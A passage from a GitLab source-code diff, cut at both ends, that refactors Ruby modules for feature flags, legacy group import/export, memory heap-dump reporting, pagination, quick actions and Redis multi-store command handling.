gon.current_user_avatar_url = current_user.avatar_url
gon.time_display_relative = current_user.time_display_relative
+ gon.use_new_navigation = Feature.enabled?(:super_sidebar_nav, current_user) && current_user&.use_new_navigation
end
# Initialize gon.features with any flags that should be
@@ -67,7 +68,6 @@ module Gitlab
push_frontend_feature_flag(:source_editor_toolbar)
push_frontend_feature_flag(:vscode_web_ide, current_user)
push_frontend_feature_flag(:integration_slack_app_notifications)
- push_frontend_feature_flag(:vue_group_select)
push_frontend_feature_flag(:new_fonts, current_user)
end
diff --git a/lib/gitlab/graphql/deprecations_base.rb b/lib/gitlab/graphql/deprecations_base.rb
index 2ee14620907..8a5f07b6ee9 100644
--- a/lib/gitlab/graphql/deprecations_base.rb
+++ b/lib/gitlab/graphql/deprecations_base.rb
@@ -9,11 +9,11 @@ module Gitlab
def self.included(klass)
klass.extend(ClassMethods)
- klass.const_set('OLD_GRAPHQL_NAME_MAP', klass::DEPRECATIONS.index_by do |d|
+ klass.const_set(:OLD_GRAPHQL_NAME_MAP, klass::DEPRECATIONS.index_by do |d|
klass.map_graphql_name(d.old_name)
end.freeze)
- klass.const_set('OLD_NAME_MAP', klass::DEPRECATIONS.index_by(&:old_name).freeze)
- klass.const_set('NEW_NAME_MAP', klass::DEPRECATIONS.index_by(&:new_name).freeze)
+ klass.const_set(:OLD_NAME_MAP, klass::DEPRECATIONS.index_by(&:old_name).freeze)
+ klass.const_set(:NEW_NAME_MAP, klass::DEPRECATIONS.index_by(&:new_name).freeze)
end
module ClassMethods
diff --git a/lib/gitlab/graphql/errors.rb b/lib/gitlab/graphql/errors.rb
index 657364abfdf..319c05d6e23 100644
--- a/lib/gitlab/graphql/errors.rb
+++ b/lib/gitlab/graphql/errors.rb
@@ -8,6 +8,8 @@ module Gitlab
ResourceNotAvailable = Class.new(BaseError)
MutationError = Class.new(BaseError)
LimitError = Class.new(BaseError)
+ InvalidMembersError = Class.new(StandardError)
+ InvalidMemberCountError = Class.new(StandardError)
end
end
end
diff --git a/lib/gitlab/hook_data/merge_request_builder.rb b/lib/gitlab/hook_data/merge_request_builder.rb
index 96128f432c5..a6ca8323a20 100644
--- a/lib/gitlab/hook_data/merge_request_builder.rb
+++ b/lib/gitlab/hook_data/merge_request_builder.rb
@@ -64,7 +64,7 @@ module Gitlab
assignee_id: merge_request.assignee_ids.first, # This key is deprecated
reviewer_ids: merge_request.reviewer_ids,
labels: merge_request.labels_hook_attrs,
- state: merge_request.state, # This key is deprecated
+ state: merge_request.state,
blocking_discussions_resolved: merge_request.mergeable_discussions_state?,
first_contribution: merge_request.first_contribution?,
detailed_merge_status: detailed_merge_status
diff --git a/lib/gitlab/hotlinking_detector.rb b/lib/gitlab/hotlinking_detector.rb
index dd58f6aca26..b5000777010 100644
--- a/lib/gitlab/hotlinking_detector.rb
+++ b/lib/gitlab/hotlinking_detector.rb
@@ -12,8 +12,6 @@ module Gitlab
def intercept_hotlinking?(request)
request_accepts = parse_request_accepts(request)
- return false unless Feature.enabled?(:repository_archive_hotlinking_interception)
-
# Block attempts to embed as JS
return true if sec_fetch_invalid?(request)
diff --git a/lib/gitlab/http.rb b/lib/gitlab/http.rb
index b05767c7ed4..c6cd5fbfced 100644
--- a/lib/gitlab/http.rb
+++ b/lib/gitlab/http.rb
@@ -17,7 +17,8 @@ module Gitlab
HTTP_ERRORS = HTTP_TIMEOUT_ERRORS + [
EOFError, SocketError, OpenSSL::SSL::SSLError, OpenSSL::OpenSSLError,
Errno::ECONNRESET, Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Errno::ENETUNREACH,
- Gitlab::HTTP::BlockedUrlError, Gitlab::HTTP::RedirectionTooDeep
+ Gitlab::HTTP::BlockedUrlError, Gitlab::HTTP::RedirectionTooDeep,
+ Net::HTTPBadResponse
].freeze
DEFAULT_TIMEOUT_OPTIONS = {
diff --git a/lib/gitlab/i18n.rb b/lib/gitlab/i18n.rb
index 7a42ffca779..31952f75006 100644
--- a/lib/gitlab/i18n.rb
+++ b/lib/gitlab/i18n.rb
@@ -44,28 +44,28 @@ module Gitlab
TRANSLATION_LEVELS = {
'bg' => 0,
'cs_CZ' => 0,
- 'da_DK' => 36,
- 'de' => 17,
+ 'da_DK' => 35,
+ 'de' => 16,
'en' => 100,
'eo' => 0,
- 'es' => 35,
+ 'es' => 34,
'fil_PH' => 0,
- 'fr' => 94,
+ 'fr' => 98,
'gl_ES' => 0,
'id_ID' => 0,
'it' => 1,
- 'ja' => 30,
+ 'ja' => 29,
'ko' => 20,
'nb_NO' => 24,
'nl_NL' => 0,
'pl_PL' => 3,
'pt_BR' => 57,
- 'ro_RO' => 96,
+ 'ro_RO' => 94,
'ru' => 26,
'si_LK' => 11,
- 'tr_TR' => 11,
- 'uk' => 52,
- 'zh_CN' => 97,
+ 'tr_TR' => 10,
+ 'uk' => 54,
+ 'zh_CN' => 98,
'zh_HK' => 1,
'zh_TW' => 99
}.freeze
diff --git a/lib/gitlab/import_export/base/relation_object_saver.rb b/lib/gitlab/import_export/base/relation_object_saver.rb
index ed3858d0bf4..77b85fc9f15 100644
--- a/lib/gitlab/import_export/base/relation_object_saver.rb
+++ b/lib/gitlab/import_export/base/relation_object_saver.rb
@@ -71,6 +71,8 @@ module Gitlab
invalid_subrelations << invalid_record unless invalid_record.persisted?
end
+
+ relation_object.save
end
end
end
diff --git a/lib/gitlab/import_export/error.rb b/lib/gitlab/import_export/error.rb
index af0026b8864..fa179f584eb 100644
--- a/lib/gitlab/import_export/error.rb
+++ b/lib/gitlab/import_export/error.rb
@@ -17,6 +17,10 @@ module Gitlab
def self.file_compression_error
self.new('File compression/decompression failed')
end
+
+ def self.incompatible_import_file_error
+ self.new('The import file is incompatible')
+ end
end
end
end
diff --git a/lib/gitlab/import_export/group/legacy_tree_restorer.rb b/lib/gitlab/import_export/group/legacy_tree_restorer.rb
deleted file mode 100644
index fa9e765b33a..00000000000
--- a/lib/gitlab/import_export/group/legacy_tree_restorer.rb
+++ /dev/null
@@ -1,132 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module ImportExport
- module Group
- class LegacyTreeRestorer
- include Gitlab::Utils::StrongMemoize
-
- attr_reader :user
- attr_reader :shared
- attr_reader :group
-
- def initialize(user:, shared:, group:, group_hash:)
- @user = user
- @shared = shared
- @group = group
- @group_hash = group_hash
- end
-
- def restore
- @group_attributes = relation_reader.consume_attributes(nil)
- @group_members = relation_reader.consume_relation(nil, 'members')
- .map(&:first)
-
- # We need to remove `name` and `path` as we did consume it in previous pass
- @group_attributes.delete('name')
- @group_attributes.delete('path')
-
- @children = @group_attributes.delete('children')
-
- if members_mapper.map && restorer.restore
- @children&.each do |group_hash|
- group = create_group(group_hash: group_hash, parent_group: @group)
- shared = Gitlab::ImportExport::Shared.new(group)
-
- self.class.new(
- user: @user,
- shared: shared,
- group: group,
- group_hash: group_hash
- ).restore
- end
- end
-
- return false if @shared.errors.any?
-
- true
- rescue StandardError => e
- @shared.error(e)
- false
- end
-
- private
-
- def relation_reader
- strong_memoize(:relation_reader) do
- if @group_hash.present?
- ImportExport::Json::LegacyReader::Hash.new(
- @group_hash,
- relation_names: reader.group_relation_names)
- else
- ImportExport::Json::LegacyReader::File.new(
- File.join(shared.export_path, 'group.json'),
- relation_names: reader.group_relation_names)
- end
- end
- end
-
- def restorer
- @relation_tree_restorer ||= RelationTreeRestorer.new(
- user: @user,
- shared: @shared,
- relation_reader: relation_reader,
- members_mapper: members_mapper,
- object_builder: object_builder,
- relation_factory: relation_factory,
- reader: reader,
- importable: @group,
- importable_attributes: @group_attributes,
- importable_path: nil
- )
- end
-
- def create_group(group_hash:, parent_group:)
- group_params = {
- name: group_hash['name'],
- path: group_hash['path'],
- parent_id: parent_group&.id,
- visibility_level: sub_group_visibility_level(group_hash, parent_group)
- }
-
- ::Groups::CreateService.new(@user, group_params).execute
- end
-
- def sub_group_visibility_level(group_hash, parent_group)
- original_visibility_level = group_hash['visibility_level'] || Gitlab::VisibilityLevel::PRIVATE
-
- if parent_group && parent_group.visibility_level < original_visibility_level
- Gitlab::VisibilityLevel.closest_allowed_level(parent_group.visibility_level)
- else
- original_visibility_level
- end
- end
-
- def members_mapper
- @members_mapper ||= Gitlab::ImportExport::MembersMapper.new(
- exported_members: @group_members,
- user: @user,
- importable: @group
- )
- end
-
- def relation_factory
- Gitlab::ImportExport::Group::RelationFactory
- end
-
- def object_builder
- Gitlab::ImportExport::Group::ObjectBuilder
- end
-
- def reader
- @reader ||= Gitlab::ImportExport::Reader.new(
- shared: @shared,
- config: Gitlab::ImportExport::Config.new(
- config: Gitlab::ImportExport.legacy_group_config_file
- ).to_h
- )
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/import_export/group/legacy_tree_saver.rb b/lib/gitlab/import_export/group/legacy_tree_saver.rb
deleted file mode 100644
index 0f74fabeac3..00000000000
--- a/lib/gitlab/import_export/group/legacy_tree_saver.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module ImportExport
- module Group
- class LegacyTreeSaver
- attr_reader :full_path, :shared
-
- def initialize(group:, current_user:, shared:, params: {})
- @params = params
- @current_user = current_user
- @shared = shared
- @group = group
- @full_path = File.join(@shared.export_path, ImportExport.group_filename)
- end
-
- def save
- group_tree = serialize(@group, reader.group_tree)
- tree_saver.save(group_tree, @shared.export_path, ImportExport.group_filename)
-
- true
- rescue StandardError => e
- @shared.error(e)
- false
- end
-
- private
-
- def serialize(group, relations_tree)
- group_tree = tree_saver.serialize(group, relations_tree)
-
- group.children.each do |child|
- group_tree['children'] ||= []
- group_tree['children'] << serialize(child, relations_tree)
- end
-
- group_tree
- rescue StandardError => e
- @shared.error(e)
- end
-
- def reader
- @reader ||= Gitlab::ImportExport::Reader.new(
- shared: @shared,
- config: Gitlab::ImportExport::Config.new(
- config: Gitlab::ImportExport.legacy_group_config_file
- ).to_h
- )
- end
-
- def tree_saver
- @tree_saver ||= LegacyRelationTreeSaver.new
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/import_export/project/import_export.yml b/lib/gitlab/import_export/project/import_export.yml
index cc69ed55744..99364996864 100644
--- a/lib/gitlab/import_export/project/import_export.yml
+++ b/lib/gitlab/import_export/project/import_export.yml
@@ -137,6 +137,7 @@ included_attributes:
ci_cd_settings:
- :group_runners_enabled
- :runner_token_expiration_interval
+ - :default_git_depth
metrics_setting:
- :dashboard_timezone
- :external_dashboard_url
@@ -719,7 +720,6 @@ included_attributes:
- :feature_flags_access_level
- :releases_access_level
- :infrastructure_access_level
- - :allow_merge_on_skipped_pipeline
- :auto_devops_deploy_strategy
- :auto_devops_enabled
- :container_registry_enabled
@@ -728,13 +728,14 @@ included_attributes:
- :merge_method
- :merge_requests_enabled
- :snippets_enabled
- - :squash_option
- :topics
- :visibility
- :wiki_enabled
- :build_git_strategy
- :build_enabled
- :security_and_compliance_enabled
+ - :allow_merge_on_skipped_pipeline
+ - :squash_option
resource_milestone_events:
- :user_id
- :action
@@ -776,6 +777,7 @@ excluded_attributes:
- :wiki_page_hooks_integrations
- :deployment_hooks_integrations
- :alert_hooks_integrations
+ - :incident_hooks_integrations
- :mirror
- :runners_token
- :runners_token_encrypted
@@ -1071,6 +1073,9 @@ excluded_attributes:
- :sequence
methods:
+ project:
+ - :allow_merge_on_skipped_pipeline
+ - :squash_option
notes:
- :type
labels:
@@ -1179,6 +1184,7 @@ ee:
- :reject_unsigned_commits
- :commit_committer_check
- :regexp_uses_re2
+ - :reject_non_dco_commits
unprotect_access_levels:
- :access_level
- :user_id
diff --git a/lib/gitlab/import_export/version_checker.rb b/lib/gitlab/import_export/version_checker.rb
index 5ec9db00d0a..ad071a4cbd7 100644
--- a/lib/gitlab/import_export/version_checker.rb
+++ b/lib/gitlab/import_export/version_checker.rb
@@ -34,7 +34,7 @@ module Gitlab
end
def different_version?(version)
- Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
+ Gitlab::VersionInfo.parse(version) != Gitlab::VersionInfo.parse(Gitlab::ImportExport.version)
rescue StandardError => e
Gitlab::Import::Logger.error(
message: 'Import error',
diff --git a/lib/gitlab/memory/reporter.rb b/lib/gitlab/memory/reporter.rb
index 710c89c6216..5effafc9f5b 100644
--- a/lib/gitlab/memory/reporter.rb
+++ b/lib/gitlab/memory/reporter.rb
@@ -3,6 +3,8 @@
module Gitlab
module Memory
class Reporter
+ COMPRESS_CMD = %w[gzip --fast].freeze
+
attr_reader :reports_path
def initialize(reports_path: nil, logger: Gitlab::AppLogger)
@@ -67,29 +69,39 @@ module Gitlab
report_file = file_name(report)
tmp_file_path = File.join(tmp_dir, report_file)
+ write_heap_dump_file(report, tmp_file_path)
+
+ File.join(@reports_path, report_file).tap do |report_file_path|
+ FileUtils.mv(tmp_file_path, report_file_path)
+ end
+ end
+
+ def write_heap_dump_file(report, path)
io_r, io_w = IO.pipe
+ err_r, err_w = IO.pipe
pid = nil
- File.open(tmp_file_path, 'wb') do |file|
+ status = nil
+ File.open(path, 'wb') do |file|
extras = {
in: io_r,
out: file,
- err: $stderr
+ err: err_w
}
- pid = Process.spawn('gzip', '--fast', **extras)
+ pid = Process.spawn(*COMPRESS_CMD, **extras)
io_r.close
+ err_w.close
report.run(io_w)
io_w.close
- Process.waitpid(pid)
+ _, status = Process.wait2(pid)
end
- File.join(@reports_path, report_file).tap do |report_file_path|
- FileUtils.mv(tmp_file_path, report_file_path)
- end
+ errors = err_r.read&.strip
+ err_r.close
+ raise StandardError, "exit #{status.exitstatus}: #{errors}" if !status&.success? && errors.present?
ensure
- [io_r, io_w].each(&:close)
-
+ [io_r, io_w, err_r, err_w].each(&:close)
# Make sure we don't leave any running processes behind.
Gitlab::ProcessManagement.signal(pid, :KILL) if pid
end
diff --git a/lib/gitlab/memory/watchdog.rb b/lib/gitlab/memory/watchdog.rb
index aac70a2f6aa..c94dbed1d46 100644
--- a/lib/gitlab/memory/watchdog.rb
+++ b/lib/gitlab/memory/watchdog.rb
@@ -68,12 +68,11 @@ module Gitlab
monitor
end
- event_reporter.stopped(log_labels(memwd_reason: @reason).compact)
+ event_reporter.stopped(log_labels(memwd_reason: @stop_reason).compact)
end
- def stop(reason: nil)
- @reason = reason
- @alive = false
+ def stop
+ stop_working(reason: 'background task stopped')
end
private
@@ -84,7 +83,7 @@ module Gitlab
def monitor
if monitors.empty?
- stop(reason: 'monitors are not configured')
+ stop_working(reason: 'monitors are not configured')
return
end
@@ -106,7 +105,7 @@ module Gitlab
Gitlab::Memory::Reports::HeapDump.enqueue!
- stop(reason: 'successfully handled') if handler.call
+ stop_working(reason: 'successfully handled') if handler.call
end
def handler
@@ -123,6 +122,13 @@ module Gitlab
memwd_sleep_time_s: sleep_time_seconds
)
end
+
+ def stop_working(reason:)
+ return unless @alive
+
+ @stop_reason = reason
+ @alive = false
+ end
end
end
end
diff --git a/lib/gitlab/metrics/requests_rack_middleware.rb b/lib/gitlab/metrics/requests_rack_middleware.rb
index 0172de8731d..cfdac5264e0 100644
--- a/lib/gitlab/metrics/requests_rack_middleware.rb
+++ b/lib/gitlab/metrics/requests_rack_middleware.rb
@@ -23,7 +23,7 @@ module Gitlab
# with an explosion in unused metric combinations, but we want the
# most common ones to be always present.
FEATURE_CATEGORIES_TO_INITIALIZE = ['authentication_and_authorization',
- 'code_review', 'continuous_integration',
+ 'code_review_workflow', 'continuous_integration',
'not_owned', 'source_code_management',
FEATURE_CATEGORY_DEFAULT].freeze
diff --git a/lib/gitlab/net_http_adapter.rb b/lib/gitlab/net_http_adapter.rb
index 2f7557f2bc3..17eb07fff2b 100644
--- a/lib/gitlab/net_http_adapter.rb
+++ b/lib/gitlab/net_http_adapter.rb
@@ -6,7 +6,7 @@ module Gitlab
# Net::HTTP#request usually calls Net::HTTP#connect but the Webmock overwrite doesn't.
# This makes sure that, in a test environment, the superclass is the Webmock overwrite.
parent_class = if defined?(WebMock) && Rails.env.test?
- WebMock::HttpLibAdapters::NetHttpAdapter.instance_variable_get('@webMockNetHTTP')
+ WebMock::HttpLibAdapters::NetHttpAdapter.instance_variable_get(:@webMockNetHTTP)
else
Net::HTTP
end
diff --git a/lib/gitlab/observability.rb b/lib/gitlab/observability.rb
index 8dde60a73be..8dbd2f41ccb 100644
--- a/lib/gitlab/observability.rb
+++ b/lib/gitlab/observability.rb
@@ -11,5 +11,9 @@ module Gitlab
'https://observe.gitlab.com'
end
+
+ def observability_enabled?(user, group)
+ Gitlab::Observability.observability_url.present? && Ability.allowed?(user, :read_observability, group)
+ end
end
end
diff --git a/lib/gitlab/pages/cache_control.rb b/lib/gitlab/pages/cache_control.rb
index be39e52b342..a24d958b7e5 100644
--- a/lib/gitlab/pages/cache_control.rb
+++ b/lib/gitlab/pages/cache_control.rb
@@ -16,8 +16,8 @@ module Gitlab
PAYLOAD_CACHE_KEY = '%{settings_cache_key}_%{settings_hash}'
class << self
- def for_project(project_id)
- new(type: :project, id: project_id)
+ def for_domain(domain_id)
+ new(type: :domain, id: domain_id)
end
def for_namespace(namespace_id)
@@ -26,7 +26,7 @@ module Gitlab
end
def initialize(type:, id:)
- raise(ArgumentError, "type must be :namespace or :project") unless %i[namespace project].include?(type)
+ raise(ArgumentError, "type must be :namespace or :domain") unless %i[namespace domain].include?(type)
@type = type
@id = id
@@ -50,7 +50,9 @@ module Gitlab
.map { |hash| payload_cache_key_for(hash) }
.push(settings_cache_key)
- Rails.cache.delete_multi(keys)
+ Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do
+ Rails.cache.delete_multi(keys)
+ end
end
private
diff --git a/lib/gitlab/pagination/cursor_based_keyset.rb b/lib/gitlab/pagination/cursor_based_keyset.rb
index 199ec16d4df..a21d0228082 100644
--- a/lib/gitlab/pagination/cursor_based_keyset.rb
+++ b/lib/gitlab/pagination/cursor_based_keyset.rb
@@ -5,7 +5,8 @@ module Gitlab
module CursorBasedKeyset
SUPPORTED_ORDERING = {
Group => { name: :asc },
- AuditEvent => { id: :desc }
+ AuditEvent => { id: :desc },
+ ::Ci::Build => { id: :desc }
}.freeze
# Relation types that are enforced in this list
diff --git a/lib/gitlab/pagination/keyset/cursor_pager.rb b/lib/gitlab/pagination/keyset/cursor_pager.rb
index 0b49aa87a02..d8fa94091ea 100644
--- a/lib/gitlab/pagination/keyset/cursor_pager.rb
+++ b/lib/gitlab/pagination/keyset/cursor_pager.rb
@@ -10,7 +10,7 @@ module Gitlab
@cursor_based_request_context = cursor_based_request_context
end
- def paginate(relation)
+ def paginate(relation, _params = {})
@paginator ||= relation.keyset_paginate(
per_page: cursor_based_request_context.per_page,
cursor: cursor_based_request_context.cursor
diff --git a/lib/gitlab/pagination/keyset/pager.rb b/lib/gitlab/pagination/keyset/pager.rb
index 6a2ae20f3b8..3fabd454ee3 100644
--- a/lib/gitlab/pagination/keyset/pager.rb
+++ b/lib/gitlab/pagination/keyset/pager.rb
@@ -10,7 +10,7 @@ module Gitlab
@request = request
end
- def paginate(relation)
+ def paginate(relation, _params = {})
# Validate assumption: The last two columns must match the page order_by
validate_order!(relation)
diff --git a/lib/gitlab/pagination/keyset/simple_order_builder.rb b/lib/gitlab/pagination/keyset/simple_order_builder.rb
index 318720c77d1..cbd523389d6 100644
--- a/lib/gitlab/pagination/keyset/simple_order_builder.rb
+++ b/lib/gitlab/pagination/keyset/simple_order_builder.rb
@@ -11,8 +11,6 @@ module Gitlab
# [transformed_scope, true] # true indicates that the new scope was successfully built
# [orginal_scope, false] # false indicates that the order values are not supported in this class
class SimpleOrderBuilder
- NULLS_ORDER_REGEX = /(?<column_name>.*) (?<direction>\bASC\b|\bDESC\b) (?<nullable>\bNULLS LAST\b|\bNULLS FIRST\b)/.freeze
-
def self.build(scope)
new(scope: scope).build
end
@@ -90,32 +88,6 @@ module Gitlab
end
end
- # This method converts the first order value to a corresponding arel expression
- # if the order value uses either NULLS LAST or NULLS FIRST ordering in raw SQL.
- #
- # TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/356644
- # We should stop matching raw literals once we switch to using the Arel methods.
- def convert_raw_nulls_order!
- order_value = order_values.first
-
- return unless order_value.is_a?(Arel::Nodes::SqlLiteral)
-
- # Detect NULLS LAST or NULLS FIRST ordering by looking at the raw SQL string.
- if matches = order_value.match(NULLS_ORDER_REGEX)
- return unless table_column?(matches[:column_name])
-
- column_attribute = arel_table[matches[:column_name]]
- direction = matches[:direction].downcase.to_sym
- nullable = matches[:nullable].downcase.parameterize(separator: '_').to_sym
-
- # Build an arel order expression for NULLS ordering.
- order = direction == :desc ? column_attribute.desc : column_attribute.asc
- arel_order_expression = nullable == :nulls_first ? order.nulls_first : order.nulls_last
-
- order_values[0] = arel_order_expression
- end
- end
-
def nullability(order_value, attribute_name)
nullable = model_class.columns.find { |column| column.name == attribute_name }.null
@@ -206,16 +178,12 @@ module Gitlab
def ordered_by_other_column?
return unless order_values.one?
- convert_raw_nulls_order!
-
supported_column?(order_values.first)
end
def ordered_by_other_column_with_tie_breaker?
return unless order_values.size == 2
- convert_raw_nulls_order!
-
return unless supported_column?(order_values.first)
tie_breaker_attribute = order_values.second.try(:expr)
diff --git a/lib/gitlab/phabricator_import.rb b/lib/gitlab/phabricator_import.rb
index 3885a9934d5..49e01eceb5b 100644
--- a/lib/gitlab/phabricator_import.rb
+++ b/lib/gitlab/phabricator_import.rb
@@ -5,8 +5,7 @@ module Gitlab
BaseError = Class.new(StandardError)
def self.available?
- Feature.enabled?(:phabricator_import) &&
- Gitlab::CurrentSettings.import_sources.include?('phabricator')
+ Gitlab::CurrentSettings.import_sources.include?('phabricator')
end
end
end
diff --git a/lib/gitlab/project_template.rb b/lib/gitlab/project_template.rb
index 9bc0001be81..5394cd115b1 100644
--- a/lib/gitlab/project_template.rb
+++ b/lib/gitlab/project_template.rb
@@ -81,7 +81,7 @@ module Gitlab
ProjectTemplate.new('jsonnet', 'Jsonnet for Dynamic Child Pipelines', _('An example showing how to use Jsonnet with GitLab dynamic child pipelines'), 'https://gitlab.com/gitlab-org/project-templates/jsonnet'),
ProjectTemplate.new('cluster_management', 'GitLab Cluster Management', _('An example project for managing Kubernetes clusters integrated with GitLab'), 'https://gitlab.com/gitlab-org/project-templates/cluster-management'),
ProjectTemplate.new('kotlin_native_linux', 'Kotlin Native Linux', _('A basic template for developing Linux programs using Kotlin Native'), 'https://gitlab.com/gitlab-org/project-templates/kotlin-native-linux'),
- ProjectTemplate.new('typo3_distribution', 'TYPO3 Distribution', _('A template for starting a new TYPO3 project'), 'https://gitlab.com/ochorocho/typo3-distribution', 'illustrations/logos/typo3.svg')
+ ProjectTemplate.new('typo3_distribution', 'TYPO3 Distribution', _('A template for starting a new TYPO3 project'), 'https://gitlab.com/gitlab-org/project-templates/typo3-distribution', 'illustrations/logos/typo3.svg')
].freeze
end
# rubocop:enable Metrics/AbcSize
diff --git a/lib/gitlab/quick_actions/issue_actions.rb b/lib/gitlab/quick_actions/issue_actions.rb
index 14e9e66e037..f782f2802b6 100644
--- a/lib/gitlab/quick_actions/issue_actions.rb
+++ b/lib/gitlab/quick_actions/issue_actions.rb
@@ -252,23 +252,14 @@ module Gitlab
desc { _('Promote issue to incident') }
explanation { _('Promotes issue to incident') }
+ execution_message { _('Issue has been promoted to incident') }
types Issue
condition do
- quick_action_target.persisted? &&
- !quick_action_target.incident? &&
- current_user.can?(:update_issue, quick_action_target)
+ !quick_action_target.incident? &&
+ current_user.can?(:"set_#{quick_action_target.issue_type}_metadata", quick_action_target)
end
command :promote_to_incident do
- issue = ::Issues::UpdateService
- .new(project: quick_action_target.project, current_user: current_user, params: { issue_type: 'incident' })
- .execute(quick_action_target)
-
- @execution_message[:promote_to_incident] =
- if issue.incident?
- _('Issue has been promoted to incident')
- else
- _('Failed to promote issue to incident')
- end
+ @updates[:issue_type] = "incident"
end
desc { _('Add customer relation contacts') }
diff --git a/lib/gitlab/redis.rb b/lib/gitlab/redis.rb
index 8857b544364..ed4f6015603 100644
--- a/lib/gitlab/redis.rb
+++ b/lib/gitlab/redis.rb
@@ -11,6 +11,7 @@ module Gitlab
Gitlab::Redis::Cache,
Gitlab::Redis::Queues,
Gitlab::Redis::RateLimiting,
+ Gitlab::Redis::RepositoryCache,
Gitlab::Redis::Sessions,
Gitlab::Redis::SharedState,
Gitlab::Redis::TraceChunks
diff --git a/lib/gitlab/redis/multi_store.rb b/lib/gitlab/redis/multi_store.rb
index 4f58bee49d0..aa8f390ac10 100644
--- a/lib/gitlab/redis/multi_store.rb
+++ b/lib/gitlab/redis/multi_store.rb
@@ -26,7 +26,7 @@ module Gitlab
class MethodMissingError < StandardError
def message
- 'Method missing. Falling back to execute method on the redis secondary store.'
+ 'Method missing. Falling back to execute method on the redis default store in Rails.env.production.'
end
end
@@ -36,31 +36,64 @@ module Gitlab
FAILED_TO_WRITE_ERROR_MESSAGE = 'Failed to write to the redis primary_store.'
FAILED_TO_RUN_PIPELINE = 'Failed to execute pipeline on the redis primary_store.'
- SKIP_LOG_METHOD_MISSING_FOR_COMMANDS = %i(info).freeze
+ SKIP_LOG_METHOD_MISSING_FOR_COMMANDS = %i[info].freeze
- READ_COMMANDS = %i(
- get
- mget
- smembers
- scard
- ).freeze
-
- WRITE_COMMANDS = %i(
- set
- setnx
- setex
- sadd
- srem
+ # For ENUMERATOR_CACHE_HIT_VALIDATOR and READ_CACHE_HIT_VALIDATOR,
+ # we define procs to validate cache hit. The only other acceptable value is nil,
+ # in the case of errors being raised.
+ #
+ # If a command has no empty response, set ->(val) { true }
+ #
+ # Ref: https://www.rubydoc.info/github/redis/redis-rb/Redis/Commands
+ #
+ ENUMERATOR_CACHE_HIT_VALIDATOR = {
+ scan_each: ->(val) { val.is_a?(Enumerator) && !val.first.nil? },
+ hscan_each: ->(val) { val.is_a?(Enumerator) && !val.first.nil? },
+ sscan_each: ->(val) { val.is_a?(Enumerator) && !val.first.nil? },
+ zscan_each: ->(val) { val.is_a?(Enumerator) && !val.first.nil? }
+ }.freeze
+
+ READ_CACHE_HIT_VALIDATOR = {
+ exists: ->(val) { val != 0 },
+ exists?: ->(val) { val },
+ get: ->(val) { !val.nil? },
+ hexists: ->(val) { val },
+ hget: ->(val) { !val.nil? },
+ hgetall: ->(val) { val.is_a?(Hash) && !val.empty? },
+ hlen: ->(val) { val != 0 },
+ hmget: ->(val) { val.is_a?(Array) && !val.compact.empty? },
+ mapped_hmget: ->(val) { val.is_a?(Hash) && !val.compact.empty? },
+ mget: ->(val) { val.is_a?(Array) && !val.compact.empty? },
+ scard: ->(val) { val != 0 },
+ sismember: ->(val) { val },
+ smembers: ->(val) { val.is_a?(Array) && !val.empty? },
+ sscan: ->(val) { val != ['0', []] },
+ ttl: ->(val) { val != 0 && val != -2 }
+ }.freeze
+
+ WRITE_COMMANDS = %i[
del
+ eval
+ expire
flushdb
+ hdel
+ hset
+ incr
+ incrby
+ mapped_hmset
rpush
- eval
- ).freeze
+ sadd
+ set
+ setex
+ setnx
+ srem
+ unlink
+ ].freeze
- PIPELINED_COMMANDS = %i(
+ PIPELINED_COMMANDS = %i[
pipelined
multi
- ).freeze
+ ].freeze
# To transition between two Redis store, `primary_store` should be the target store,
# and `secondary_store` should be the current store. Transition is controlled with feature flags:
@@ -81,12 +114,12 @@ module Gitlab
end
# rubocop:disable GitlabSecurity/PublicSend
- READ_COMMANDS.each do |name|
- define_method(name) do |*args, &block|
+ READ_CACHE_HIT_VALIDATOR.each_key do |name|
+ define_method(name) do |*args, **kwargs, &block|
if use_primary_and_secondary_stores?
- read_command(name, *args, &block)
+ read_command(name, *args, **kwargs, &block)
else
- default_store.send(name, *args, &block)
+ default_store.send(name, *args, **kwargs, &block)
end
end
end
@@ -101,6 +134,20 @@ module Gitlab
end
end
+ ENUMERATOR_CACHE_HIT_VALIDATOR.each_key do |name|
+ define_method(name) do |*args, **kwargs, &block|
+ enumerator = if use_primary_and_secondary_stores?
+ read_command(name, *args, **kwargs)
+ else
+ default_store.send(name, *args, **kwargs)
+ end
+
+ return enumerator if block.nil?
+
+ enumerator.each(&block)
+ end
+ end
+
PIPELINED_COMMANDS.each do |name|
define_method(name) do |*args, **kwargs, &block|
if use_primary_and_secondary_stores?
@@ -170,12 +217,23 @@ module Gitlab
extra.merge(command_name: command_name, instance_name: instance_name))
end
+ def ping(message = nil)
+ if use_primary_and_secondary_stores?
+ # Both stores have to response success for the ping to be considered success.
+ # We assume both stores cannot return different responses (only both "PONG" or both echo the message).
+ # If either store is not reachable, an Error will be raised anyway thus taking any response works.
+ [primary_store, secondary_store].map { |store| store.ping(message) }.first
+ else
+ default_store.ping(message)
+ end
+ end
+
private
# @return [Boolean]
def feature_enabled?(prefix)
feature_table_exists? &&
- Feature.enabled?("#{prefix}_#{instance_name.underscore}") &&
+ Feature.enabled?("#{prefix}_#{instance_name.underscore}") && # rubocop:disable Cop/FeatureFlagUsage
!same_redis_store?
end
@@ -193,15 +251,17 @@ module Gitlab
def log_method_missing(command_name, *_args)
return if SKIP_LOG_METHOD_MISSING_FOR_COMMANDS.include?(command_name)
+ raise MethodMissingError if Rails.env.test? || Rails.env.development?
+
log_error(MethodMissingError.new, command_name)
increment_method_missing_count(command_name)
end
- def read_command(command_name, *args, &block)
+ def read_command(command_name, *args, **kwargs, &block)
if @instance
- send_command(@instance, command_name, *args, &block)
+ send_command(@instance, command_name, *args, **kwargs, &block)
else
- read_one_with_fallback(command_name, *args, &block)
+ read_one_with_fallback(command_name, *args, **kwargs, &block)
end
end
@@ -213,19 +273,28 @@ module Gitlab
end
end
- def read_one_with_fallback(command_name, *args, &block)
+ def read_one_with_fallback(command_name, *args, **kwargs, &block)
begin
- value = send_command(primary_store, command_name, *args, &block)
